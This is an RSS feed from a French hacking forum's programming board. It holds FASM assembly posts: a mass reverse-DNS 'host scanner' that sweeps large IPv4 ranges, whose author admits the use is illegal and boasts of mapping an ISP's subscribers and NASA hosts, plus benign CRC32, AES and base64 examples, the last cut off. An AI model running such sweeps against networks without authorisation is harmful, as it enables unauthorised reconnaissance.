<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[Cs-Hackers - Python, PHP, Java et autres.]]></title>
		<link>https://forum.cs-hackers.com/</link>
		<description><![CDATA[Cs-Hackers - https://forum.cs-hackers.com]]></description>
		<pubDate>Wed, 08 Apr 2026 20:31:51 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[Programmation]]></title>
			<link>https://forum.cs-hackers.com/showthread.php?tid=6522</link>
			<pubDate>Fri, 31 Mar 2023 22:58:07 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.cs-hackers.com/member.php?action=profile&uid=69295">code promo95</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.cs-hackers.com/showthread.php?tid=6522</guid>
			<description><![CDATA[Bonsoir, j'espère que vous allez bien ?.<br />
Je suis nouveau membre. Puis je rencontrer quelqu'un pour m'apprendre la programmation ?]]></description>
			<content:encoded><![CDATA[Bonsoir, j'espère que vous allez bien ?.<br />
Je suis nouveau membre. Puis je rencontrer quelqu'un pour m'apprendre la programmation ?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[scanneur d'hôtes]]></title>
			<link>https://forum.cs-hackers.com/showthread.php?tid=5840</link>
			<pubDate>Sun, 02 Aug 2020 09:43:22 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.cs-hackers.com/member.php?action=profile&uid=58610">xddj</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.cs-hackers.com/showthread.php?tid=5840</guid>
			<description><![CDATA[Bonjour,<br />
<br />
Je vous présente aujourd'hui mon tout premier code depuis 2012, l'année où j'ai arrêté de coder.<br />
Donc j'ai eu du mal à m'y remettre et j'ai donc décidé de commencer par un code tout simple pour me remettre dans le bain ^^<br />
<br />
Voilà la code (à compiler avec Fasm):<br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>format PE console 5.0<br />
include 'include/windows/win32a.inc'<br />
entry start<br />
<br />
<br />
;--------------------------------------------------<br />
section '.text' code readable executable<br />
;--------------------------------------------------<br />
<br />
start:<br />
<br />
    push    NULL<br />
    push    FILE_ATTRIBUTE_NORMAL<br />
    push    OPEN_ALWAYS<br />
    push    NULL<br />
    push    NULL<br />
    push    GENERIC_WRITE<br />
    push    FilePath<br />
    call    [CreateFile]<br />
<br />
    mov    [hFile],eax<br />
<br />
    push    FILE_END<br />
    push    0<br />
    push    0<br />
    push    [hFile]<br />
    call    [SetFilePointer]<br />
    <br />
    push    wsadata<br />
    push    0x202<br />
    call    [WSAStartup]<br />
<br />
    mov    cx,port<br />
    rol    cx,8<br />
    mov    word [sockaddr+2],cx<br />
<br />
    mov    [sockaddr],AF_INET<br />
<br />
    push    ip_addr<br />
    call    [inet_addr]<br />
<br />
    mov    dword [sockaddr+4],eax<br />
<br />
     @@:<br />
    push    NULL<br />
    push    lpNumberOfBytesWritten<br />
    push    2<br />
    push    lpBuffer<br />
    push    [hFile]<br />
    call    [WriteFile]<br />
<br />
    push    0<br />
    push    0<br />
    push    0<br />
    push    64<br />
    push    host<br />
    push    16<br />
    push    sockaddr<br />
    call    [getnameinfo]<br />
<br />
    push    eax<br />
    push    formh<br />
    call    [printf]<br />
<br />
    add    esp,8<br />
<br />
    mov    edi,host<br />
    call    strlen<br />
<br />
    push    NULL<br />
    push    BytesWrite<br />
    push    eax<br />
    push    host<br />
    push    [hFile]<br />
    call    [WriteFile]<br />
<br />
    inc    byte [sockaddr+5]<br />
    jnz    @b<br />
<br />
    inc    byte [sockaddr+4]<br />
    jnz    @b<br />
<br />
    push    [hFile]<br />
    call    [CloseHandle]<br />
<br />
    push    0<br />
    call    [ExitProcess]<br />
<br />
strlen:<br />
    xor    eax,eax<br />
    xor    ecx,ecx<br />
    not    cx<br />
    cld<br />
    repnz    scasb<br />
    not    cx<br />
    dec    cx<br />
    mov    eax,ecx<br />
    ret<br />
<br />
;--------------------------------------------------<br />
section '.data' data readable writeable<br />
;--------------------------------------------------<br />
<br />
wsadata WSADATA<br />
<br />
FilePath db 'file.txt',0<br />
hFile dd 0<br />
BytesWrite dd 0<br />
<br />
lpBuffer db 13,10<br />
lpNumberOfBytesWritten dd 0<br />
<br />
ip_addr db '1.1.1.1',0<br />
<br />
sockaddr rb 16<br />
host rb 64<br />
<br />
port = 13000<br />
<br />
formh db '%08x',13,10,0<br />
formd db '%d',13,10,0<br />
forms db '%s',13,10,0<br />
formc db '%c',13,10,0<br />
<br />
;--------------------------------------------------<br />
section '.idata' import data readable writeable<br />
;--------------------------------------------------<br />
<br />
library kernel32,'kernel32.dll',&#92;<br />
    msvcrt,'msvcrt.dll',&#92;<br />
    user32,'user32.dll',&#92;<br />
    wsock32,'ws2_32.dll'<br />
<br />
include 'include&#92;windows&#92;api&#92;kernel32.inc'<br />
include 'include&#92;windows&#92;api&#92;user32.inc'<br />
include    'include&#92;windows&#92;api&#92;wsock32.inc'<br />
<br />
import msvcrt,&#92;<br />
printf,'printf',&#92;<br />
sprintf,'sprintf'</code></div></div><br />
C'est un scanneur d'hôte. Tel que présenté ici, si vous le compiler tel quel, il va scanner tout les hôtes de classes A et B et vous renvoyer leur nom de domaine. Donc il va tout scanner de l'ip 1.1.1.1 à l'ip 255.255.1.1<br />
Après, à vous de changer le code pour scanner les autres classes d'ip.<br />
Par exemple pour scanner les hîotes de classe C et D il faut changer "inc    byte [sockaddr+4]" par "inc    byte [sockaddr+6]" et inc    byte [sockaddr+5] par inc    byte [sockaddr+7]<br />
A quoi ça sert me dirait vous ? Et bien à comprendre l'architecture d'un réseau (ce qui est interdit par la loi je vous le rappel). Par exemple je sais exactement combien mon FAI a d'abonnés dans ma ville.. J'ai également tout les noms de domaines de la nasa..<br />
Je n'ai pas fait de GUI car c'est un code fait à la va-vite comme je vous l'ai dit pour me remettre dans le bain.<br />
Si vous avez des questions n'hésitez pas.<br />
++]]></description>
			<content:encoded><![CDATA[Bonjour,<br />
<br />
Je vous présente aujourd'hui mon tout premier code depuis 2012, l'année où j'ai arrêté de coder.<br />
Donc j'ai eu du mal à m'y remettre et j'ai donc décidé de commencer par un code tout simple pour me remettre dans le bain ^^<br />
<br />
Voilà la code (à compiler avec Fasm):<br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>format PE console 5.0<br />
include 'include/windows/win32a.inc'<br />
entry start<br />
<br />
<br />
;--------------------------------------------------<br />
section '.text' code readable executable<br />
;--------------------------------------------------<br />
<br />
start:<br />
<br />
    push    NULL<br />
    push    FILE_ATTRIBUTE_NORMAL<br />
    push    OPEN_ALWAYS<br />
    push    NULL<br />
    push    NULL<br />
    push    GENERIC_WRITE<br />
    push    FilePath<br />
    call    [CreateFile]<br />
<br />
    mov    [hFile],eax<br />
<br />
    push    FILE_END<br />
    push    0<br />
    push    0<br />
    push    [hFile]<br />
    call    [SetFilePointer]<br />
    <br />
    push    wsadata<br />
    push    0x202<br />
    call    [WSAStartup]<br />
<br />
    mov    cx,port<br />
    rol    cx,8<br />
    mov    word [sockaddr+2],cx<br />
<br />
    mov    [sockaddr],AF_INET<br />
<br />
    push    ip_addr<br />
    call    [inet_addr]<br />
<br />
    mov    dword [sockaddr+4],eax<br />
<br />
     @@:<br />
    push    NULL<br />
    push    lpNumberOfBytesWritten<br />
    push    2<br />
    push    lpBuffer<br />
    push    [hFile]<br />
    call    [WriteFile]<br />
<br />
    push    0<br />
    push    0<br />
    push    0<br />
    push    64<br />
    push    host<br />
    push    16<br />
    push    sockaddr<br />
    call    [getnameinfo]<br />
<br />
    push    eax<br />
    push    formh<br />
    call    [printf]<br />
<br />
    add    esp,8<br />
<br />
    mov    edi,host<br />
    call    strlen<br />
<br />
    push    NULL<br />
    push    BytesWrite<br />
    push    eax<br />
    push    host<br />
    push    [hFile]<br />
    call    [WriteFile]<br />
<br />
    inc    byte [sockaddr+5]<br />
    jnz    @b<br />
<br />
    inc    byte [sockaddr+4]<br />
    jnz    @b<br />
<br />
    push    [hFile]<br />
    call    [CloseHandle]<br />
<br />
    push    0<br />
    call    [ExitProcess]<br />
<br />
strlen:<br />
    xor    eax,eax<br />
    xor    ecx,ecx<br />
    not    cx<br />
    cld<br />
    repnz    scasb<br />
    not    cx<br />
    dec    cx<br />
    mov    eax,ecx<br />
    ret<br />
<br />
;--------------------------------------------------<br />
section '.data' data readable writeable<br />
;--------------------------------------------------<br />
<br />
wsadata WSADATA<br />
<br />
FilePath db 'file.txt',0<br />
hFile dd 0<br />
BytesWrite dd 0<br />
<br />
lpBuffer db 13,10<br />
lpNumberOfBytesWritten dd 0<br />
<br />
ip_addr db '1.1.1.1',0<br />
<br />
sockaddr rb 16<br />
host rb 64<br />
<br />
port = 13000<br />
<br />
formh db '%08x',13,10,0<br />
formd db '%d',13,10,0<br />
forms db '%s',13,10,0<br />
formc db '%c',13,10,0<br />
<br />
;--------------------------------------------------<br />
section '.idata' import data readable writeable<br />
;--------------------------------------------------<br />
<br />
library kernel32,'kernel32.dll',&#92;<br />
    msvcrt,'msvcrt.dll',&#92;<br />
    user32,'user32.dll',&#92;<br />
    wsock32,'ws2_32.dll'<br />
<br />
include 'include&#92;windows&#92;api&#92;kernel32.inc'<br />
include 'include&#92;windows&#92;api&#92;user32.inc'<br />
include    'include&#92;windows&#92;api&#92;wsock32.inc'<br />
<br />
import msvcrt,&#92;<br />
printf,'printf',&#92;<br />
sprintf,'sprintf'</code></div></div><br />
C'est un scanneur d'hôte. Tel que présenté ici, si vous le compiler tel quel, il va scanner tout les hôtes de classes A et B et vous renvoyer leur nom de domaine. Donc il va tout scanner de l'ip 1.1.1.1 à l'ip 255.255.1.1<br />
Après, à vous de changer le code pour scanner les autres classes d'ip.<br />
Par exemple pour scanner les hîotes de classe C et D il faut changer "inc    byte [sockaddr+4]" par "inc    byte [sockaddr+6]" et inc    byte [sockaddr+5] par inc    byte [sockaddr+7]<br />
A quoi ça sert me dirait vous ? Et bien à comprendre l'architecture d'un réseau (ce qui est interdit par la loi je vous le rappel). Par exemple je sais exactement combien mon FAI a d'abonnés dans ma ville.. J'ai également tout les noms de domaines de la nasa..<br />
Je n'ai pas fait de GUI car c'est un code fait à la va-vite comme je vous l'ai dit pour me remettre dans le bain.<br />
Si vous avez des questions n'hésitez pas.<br />
++]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Exemple de chiffrement AES]]></title>
			<link>https://forum.cs-hackers.com/showthread.php?tid=4994</link>
			<pubDate>Tue, 26 Feb 2019 12:05:53 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.cs-hackers.com/member.php?action=profile&uid=58610">xddj</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.cs-hackers.com/showthread.php?tid=4994</guid>
			<description><![CDATA[Ce code n'est pas de moi. Il me semble que je l'avais trouvé sur le site de Fasm.<br />
Je ne peux pas vous poster le code, car il y a trop de fichiers. J'ai donc créé un fichier.zip contenant tous les fichiers.<br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="ZIP File" border="0" alt=".zip" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=738" target="_blank" title="">fasm-aes-1.0.zip</a><br><i> (Taille : 14.7 Ko / Téléchargements : 1)</i> </div>
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[Ce code n'est pas de moi. Il me semble que je l'avais trouvé sur le site de Fasm.<br />
Je ne peux pas vous poster le code, car il y a trop de fichiers. J'ai donc créé un fichier.zip contenant tous les fichiers.<br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="ZIP File" border="0" alt=".zip" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=738" target="_blank" title="">fasm-aes-1.0.zip</a><br><i> (Taille : 14.7 Ko / Téléchargements : 1)</i> </div>
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Exemple de crc32 pour Linux]]></title>
			<link>https://forum.cs-hackers.com/showthread.php?tid=4993</link>
			<pubDate>Tue, 26 Feb 2019 12:00:29 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.cs-hackers.com/member.php?action=profile&uid=58610">xddj</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.cs-hackers.com/showthread.php?tid=4993</guid>
			<description><![CDATA[Ce code a été créé pour Linux mais vous pouvez très facilement le recoder pour Windows.<br />
Il s'agit d'une version asm du crc32 présenté dans la rfc gzip (1952).<br />
<br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>format ELF64 executable 3<br />
entry start<br />
<br />
include 'include/linux/lin64a.inc'<br />
interpreter '/lib64/ld-linux-x86-64.so.2'<br />
needed 'libc.so.6'<br />
import    printf<br />
<br />
;-------------------------------------------------------------------------<br />
segment readable executable<br />
;-------------------------------------------------------------------------<br />
<br />
start:<br />
<br />
    mov    esi,buffer_len<br />
    mov    edi,buffer<br />
    call    update_crc<br />
<br />
    mov    esi,eax<br />
    mov    rdi,formh<br />
    xor    eax,eax<br />
    call    [printf]<br />
<br />
   exit:<br />
    xor    rdi,rdi<br />
    mov    eax,_exit<br />
    syscall<br />
<br />
<br />
<br />
update_crc:<br />
    cmp    dword [crc_table_computed],0<br />
    jnz    @f<br />
    mov    ebp,esi<br />
    call    make_crc_table<br />
    mov    ecx,ebp<br />
     @@:<br />
    xor    eax,eax<br />
    not    eax<br />
    xor    edx,edx<br />
     @@:<br />
    mov    dl,al<br />
    mov    bl,byte [edi]<br />
    xor    dl,bl<br />
    inc    edi<br />
    mov    ebx,dword [esi+edx*4]<br />
    shr    eax,8<br />
    xor    eax,ebx<br />
    dec    ecx<br />
    jnz    @b<br />
    xor    eax,0xffffffff<br />
    ret<br />
<br />
<br />
<br />
make_crc_table:<br />
    mov    esi,crc_table<br />
    xor    ecx,ecx<br />
     A1:<br />
    mov    eax,ecx<br />
    mov    bl,8<br />
     A2:<br />
    mov    dl,al<br />
    and    dl,1<br />
    cmp    dl,1<br />
    jnz    @f<br />
    mov    edx,eax<br />
    shr    edx,1<br />
    mov    eax,0xedb88320<br />
    xor    eax,edx<br />
    jmp    A3<br />
     @@:<br />
    shr    eax,1<br />
     A3:<br />
    dec    bl<br />
    jnz    A2<br />
    mov    dword [esi+ecx*4],eax<br />
    inc    cl<br />
    jnz    A1<br />
    mov    dword [crc_table_computed],1<br />
    ret<br />
<br />
<br />
strlen:<br />
    xor    ecx,ecx<br />
    xor    al,al<br />
     @@:<br />
    inc    edi<br />
    inc    ecx<br />
    cmp    al,byte [edi]<br />
    jnz    @b<br />
    mov    eax,ecx<br />
    ret<br />
<br />
;-------------------------------------------------------------------------<br />
segment readable writeable<br />
;-------------------------------------------------------------------------<br />
<br />
crc_table rd 256<br />
crc_table_computed dd 0<br />
<br />
buffer db 'Life, the Universe and everything'<br />
buffer_len = &#36;-buffer<br />
<br />
formh db '%08x',10,0<br />
formd db '%d',10,0<br />
formc db '%c',10,0<br />
forms db '%s',10,0</code></div></div><br />
<br />
Le même crc32 mais en version x32 stack, sans buffer.<br />
<br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>format ELF executable 3<br />
entry start<br />
<br />
include 'include/linux/lin32a.inc'<br />
interpreter '/lib/ld-linux.so.2'<br />
needed 'libc.so.6'<br />
<br />
import    printf<br />
<br />
;-------------------------------------------------------------------------<br />
segment readable executable<br />
;-------------------------------------------------------------------------<br />
<br />
start:<br />
<br />
    mov    edi,buffer<br />
    call    strlen<br />
<br />
    mov    esi,eax<br />
    mov    edi,buffer<br />
    call    update_crc<br />
<br />
    invoke    printf,formh,eax<br />
<br />
    xor    ebx,ebx<br />
    mov    eax,_exit<br />
    int    0x80<br />
<br />
<br />
<br />
update_crc:<br />
    cmp    dword [crc_table_computed],0<br />
    jnz    @f<br />
    mov    ebp,esi<br />
    call    make_crc_table<br />
    mov    ecx,ebp<br />
     @@:<br />
    sub    esp,8<br />
    xor    eax,eax<br />
    not    eax<br />
    xor    edx,edx<br />
     @@:<br />
    mov    dl,al<br />
    mov    bl,byte [edi]<br />
    xor    dl,bl<br />
    inc    edi<br />
<br />
    neg    edx<br />
    mov    ebx,dword [esp+edx*4]<br />
    neg    edx<br />
<br />
    shr    eax,8<br />
    xor    eax,ebx<br />
<br />
    dec    ecx<br />
    jnz    @b<br />
<br />
    xor    eax,0xffffffff<br />
    add    esp,8<br />
    ret<br />
<br />
<br />
make_crc_table:<br />
    xor    ecx,ecx<br />
    sub    esp,4<br />
     A1:<br />
    mov    eax,ecx<br />
    mov    bl,8<br />
     A2:<br />
    mov    dl,al<br />
    and    dl,1<br />
    cmp    dl,1<br />
    jnz    @f<br />
<br />
    mov    edx,eax<br />
    shr    edx,1<br />
    mov    eax,0xedb88320<br />
    xor    eax,edx<br />
    jmp    A3<br />
     @@:<br />
    shr    eax,1<br />
     A3:<br />
    dec    bl<br />
    jnz    A2<br />
<br />
    neg    ecx<br />
    mov    dword [esp+ecx*4],eax<br />
    neg    ecx<br />
<br />
    inc    cl<br />
    jnz    A1<br />
<br />
    mov    dword [crc_table_computed],1<br />
    add    esp,4<br />
    ret<br />
<br />
<br />
strlen:<br />
    xor    ecx,ecx<br />
    xor    al,al<br />
     @@:<br />
    inc    edi<br />
    inc    ecx<br />
    cmp    al,byte [edi]<br />
    jnz    @b<br />
    mov    eax,ecx<br />
    ret<br />
<br />
;-------------------------------------------------------------------------<br />
segment readable writeable<br />
;-------------------------------------------------------------------------<br />
<br />
crc_table_computed dd 0<br />
<br />
buffer db 'La petite maison dans la prairie',0<br />
<br />
formh db '%08x',10,0<br />
formd db '%d',10,0<br />
formc db '%c',10,0<br />
forms db '%s',10,0</code></div></div><br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="ZIP File" border="0" alt=".zip" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=736" target="_blank" title="">crc32.zip</a><br><i> (Taille : 793 octets / Téléchargements : 0)</i> </div>
<!-- end: postbit_attachments_attachment --><br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="ZIP File" border="0" alt=".zip" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=737" target="_blank" title="">crc32_stack.zip</a><br><i> (Taille : 797 octets / Téléchargements : 0)</i> </div>
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[Ce code a été créé pour Linux mais vous pouvez très facilement le recoder pour Windows.<br />
Il s'agit d'une version asm du crc32 présenté dans la rfc gzip (1952).<br />
<br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>format ELF64 executable 3<br />
entry start<br />
<br />
include 'include/linux/lin64a.inc'<br />
interpreter '/lib64/ld-linux-x86-64.so.2'<br />
needed 'libc.so.6'<br />
import    printf<br />
<br />
;-------------------------------------------------------------------------<br />
segment readable executable<br />
;-------------------------------------------------------------------------<br />
<br />
start:<br />
<br />
    mov    esi,buffer_len<br />
    mov    edi,buffer<br />
    call    update_crc<br />
<br />
    mov    esi,eax<br />
    mov    rdi,formh<br />
    xor    eax,eax<br />
    call    [printf]<br />
<br />
   exit:<br />
    xor    rdi,rdi<br />
    mov    eax,_exit<br />
    syscall<br />
<br />
<br />
<br />
update_crc:<br />
    cmp    dword [crc_table_computed],0<br />
    jnz    @f<br />
    mov    ebp,esi<br />
    call    make_crc_table<br />
    mov    ecx,ebp<br />
     @@:<br />
    xor    eax,eax<br />
    not    eax<br />
    xor    edx,edx<br />
     @@:<br />
    mov    dl,al<br />
    mov    bl,byte [edi]<br />
    xor    dl,bl<br />
    inc    edi<br />
    mov    ebx,dword [esi+edx*4]<br />
    shr    eax,8<br />
    xor    eax,ebx<br />
    dec    ecx<br />
    jnz    @b<br />
    xor    eax,0xffffffff<br />
    ret<br />
<br />
<br />
<br />
make_crc_table:<br />
    mov    esi,crc_table<br />
    xor    ecx,ecx<br />
     A1:<br />
    mov    eax,ecx<br />
    mov    bl,8<br />
     A2:<br />
    mov    dl,al<br />
    and    dl,1<br />
    cmp    dl,1<br />
    jnz    @f<br />
    mov    edx,eax<br />
    shr    edx,1<br />
    mov    eax,0xedb88320<br />
    xor    eax,edx<br />
    jmp    A3<br />
     @@:<br />
    shr    eax,1<br />
     A3:<br />
    dec    bl<br />
    jnz    A2<br />
    mov    dword [esi+ecx*4],eax<br />
    inc    cl<br />
    jnz    A1<br />
    mov    dword [crc_table_computed],1<br />
    ret<br />
<br />
<br />
strlen:<br />
    xor    ecx,ecx<br />
    xor    al,al<br />
     @@:<br />
    inc    edi<br />
    inc    ecx<br />
    cmp    al,byte [edi]<br />
    jnz    @b<br />
    mov    eax,ecx<br />
    ret<br />
<br />
;-------------------------------------------------------------------------<br />
segment readable writeable<br />
;-------------------------------------------------------------------------<br />
<br />
crc_table rd 256<br />
crc_table_computed dd 0<br />
<br />
buffer db 'Life, the Universe and everything'<br />
buffer_len = &#36;-buffer<br />
<br />
formh db '%08x',10,0<br />
formd db '%d',10,0<br />
formc db '%c',10,0<br />
forms db '%s',10,0</code></div></div><br />
<br />
Le même crc32 mais en version x32 stack, sans buffer.<br />
<br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>format ELF executable 3<br />
entry start<br />
<br />
include 'include/linux/lin32a.inc'<br />
interpreter '/lib/ld-linux.so.2'<br />
needed 'libc.so.6'<br />
<br />
import    printf<br />
<br />
;-------------------------------------------------------------------------<br />
segment readable executable<br />
;-------------------------------------------------------------------------<br />
<br />
start:<br />
<br />
    mov    edi,buffer<br />
    call    strlen<br />
<br />
    mov    esi,eax<br />
    mov    edi,buffer<br />
    call    update_crc<br />
<br />
    invoke    printf,formh,eax<br />
<br />
    xor    ebx,ebx<br />
    mov    eax,_exit<br />
    int    0x80<br />
<br />
<br />
<br />
update_crc:<br />
    cmp    dword [crc_table_computed],0<br />
    jnz    @f<br />
    mov    ebp,esi<br />
    call    make_crc_table<br />
    mov    ecx,ebp<br />
     @@:<br />
    sub    esp,8<br />
    xor    eax,eax<br />
    not    eax<br />
    xor    edx,edx<br />
     @@:<br />
    mov    dl,al<br />
    mov    bl,byte [edi]<br />
    xor    dl,bl<br />
    inc    edi<br />
<br />
    neg    edx<br />
    mov    ebx,dword [esp+edx*4]<br />
    neg    edx<br />
<br />
    shr    eax,8<br />
    xor    eax,ebx<br />
<br />
    dec    ecx<br />
    jnz    @b<br />
<br />
    xor    eax,0xffffffff<br />
    add    esp,8<br />
    ret<br />
<br />
<br />
make_crc_table:<br />
    xor    ecx,ecx<br />
    sub    esp,4<br />
     A1:<br />
    mov    eax,ecx<br />
    mov    bl,8<br />
     A2:<br />
    mov    dl,al<br />
    and    dl,1<br />
    cmp    dl,1<br />
    jnz    @f<br />
<br />
    mov    edx,eax<br />
    shr    edx,1<br />
    mov    eax,0xedb88320<br />
    xor    eax,edx<br />
    jmp    A3<br />
     @@:<br />
    shr    eax,1<br />
     A3:<br />
    dec    bl<br />
    jnz    A2<br />
<br />
    neg    ecx<br />
    mov    dword [esp+ecx*4],eax<br />
    neg    ecx<br />
<br />
    inc    cl<br />
    jnz    A1<br />
<br />
    mov    dword [crc_table_computed],1<br />
    add    esp,4<br />
    ret<br />
<br />
<br />
strlen:<br />
    xor    ecx,ecx<br />
    xor    al,al<br />
     @@:<br />
    inc    edi<br />
    inc    ecx<br />
    cmp    al,byte [edi]<br />
    jnz    @b<br />
    mov    eax,ecx<br />
    ret<br />
<br />
;-------------------------------------------------------------------------<br />
segment readable writeable<br />
;-------------------------------------------------------------------------<br />
<br />
crc_table_computed dd 0<br />
<br />
buffer db 'La petite maison dans la prairie',0<br />
<br />
formh db '%08x',10,0<br />
formd db '%d',10,0<br />
formc db '%c',10,0<br />
forms db '%s',10,0</code></div></div><br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="ZIP File" border="0" alt=".zip" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=736" target="_blank" title="">crc32.zip</a><br><i> (Taille : 793 octets / Téléchargements : 0)</i> </div>
<!-- end: postbit_attachments_attachment --><br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="ZIP File" border="0" alt=".zip" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=737" target="_blank" title="">crc32_stack.zip</a><br><i> (Taille : 797 octets / Téléchargements : 0)</i> </div>
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Exemple de base64]]></title>
			<link>https://forum.cs-hackers.com/showthread.php?tid=4992</link>
			<pubDate>Tue, 26 Feb 2019 11:51:27 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.cs-hackers.com/member.php?action=profile&uid=58610">xddj</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.cs-hackers.com/showthread.php?tid=4992</guid>
			<description><![CDATA[<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>proc cBase64 inbuf,outbuf,outbuflen<br />
<br />
    mov    esi,[inbuf]<br />
    mov    edi,[outbuf]<br />
    mov    ecx,[outbuflen]<br />
<br />
    @re:<br />
    or    byte [esi],0<br />
    jz    @end<br />
    add    dword [ecx],4<br />
    xor    eax,eax<br />
<br />
    or    byte [esi+2],0<br />
    jz    @f<br />
    lodsb<br />
    ror    eax,8<br />
    lodsw<br />
    bswap    eax<br />
    call    Encode<br />
    stosd<br />
    jmp    @re<br />
     @@:<br />
    or    byte [esi+1],0<br />
    jz    @f<br />
    lodsw<br />
    ror    ax,8<br />
    ror    eax,8<br />
    call    Encode<br />
    rol    eax,8<br />
    mov    al,0x3d<br />
    ror    eax,8<br />
    stosd<br />
    jmp    @re<br />
     @@:<br />
    lodsb<br />
    call    Encode<br />
    rol    eax,16<br />
    mov    ax,0x3d3d<br />
    ror    eax,16<br />
    stosd<br />
    jmp    @re<br />
<br />
   @end:<br />
    ret<br />
endp<br />
<br />
<br />
proc Encode<br />
<br />
    push    ecx<br />
    xor    ecx,ecx<br />
    mov    cl,4<br />
     @@:<br />
    xor    ebx,ebx<br />
    mov    bl,al<br />
    shr    bl,2<br />
    rol    eax,6<br />
    mov    dl,byte [base64+ebx]<br />
    ror    edx,8<br />
    dec    cl<br />
    jnz    @b<br />
<br />
    mov    eax,edx<br />
    pop    ecx<br />
    ret<br />
endp<br />
<br />
<br />
proc dBase64 inbuf,outbuf,outbuflen<br />
<br />
    mov    esi,[inbuf]<br />
    mov    edi,[outbuf]<br />
    mov    ecx,[outbuflen]<br />
<br />
    @re:<br />
    or    byte [esi],0<br />
    jz    @end<br />
    or    byte [esi+1],0<br />
    jz    @end<br />
<br />
    cmp    byte [esi+3],0x3d<br />
    jz    @f<br />
    add    dword [ecx],3<br />
    call    Decode<br />
    stosw<br />
    ror    eax,16<br />
    stosb<br />
    jmp    @re<br />
     @@:<br />
    cmp    byte [esi+2],0x3d<br />
    jz    @f<br />
    mov    byte [esi+3],0<br />
    add    dword [ecx],2<br />
    call    Decode<br />
    stosw<br />
    jmp    @re<br />
     @@:<br />
    mov    byte [esi+2],0<br />
    add    dword [ecx],1<br />
    call    Decode<br />
    stosb<br />
    jmp    @re<br />
<br />
   @end:<br />
    ret<br />
endp<br />
<br />
<br />
proc Decode<br />
<br />
    push    ecx<br />
    mov    cl,4<br />
     @@:<br />
    lodsb<br />
    call    strlen<br />
<br />
    shl    dl,2<br />
    mov    al,dl<br />
    shr    eax,2<br />
    shl    eax,8<br />
    dec    cl<br />
    jnz    @b<br />
<br />
    bswap    eax<br />
    pop    ecx<br />
    ret<br />
endp<br />
<br />
<br />
proc strlen<br />
<br />
    push    edi<br />
    push    ecx<br />
    xor    cl,cl<br />
<br />
    mov    edi,base64<br />
    not    cl<br />
    repne    scasb<br />
    not    cl<br />
    dec    cl<br />
    mov    dl,cl<br />
<br />
    pop    ecx<br />
    pop    edi<br />
    ret<br />
endp<br />
<br />
<br />
base64 db 0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,&#92;<br />
      0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,0x50,&#92;<br />
      0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,&#92;<br />
      0x59,0x5a,0x61,0x62,0x63,0x64,0x65,0x66,&#92;<br />
      0x67,0x68,0x69,0x6a,0x6b,0x6c,0x6d,0x6e,&#92;<br />
      0x6f,0x70,0x71,0x72,0x73,0x74,0x75,0x76,&#92;<br />
      0x77,0x78,0x79,0x7a,0x30,0x31,0x32,0x33,&#92;<br />
      0x34,0x35,0x36,0x37,0x38,0x39,0x2b,0x2f</code></div></div><br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>format PE console<br />
<br />
include 'include/windows/win32a.inc'<br />
include 'base64.inc'<br />
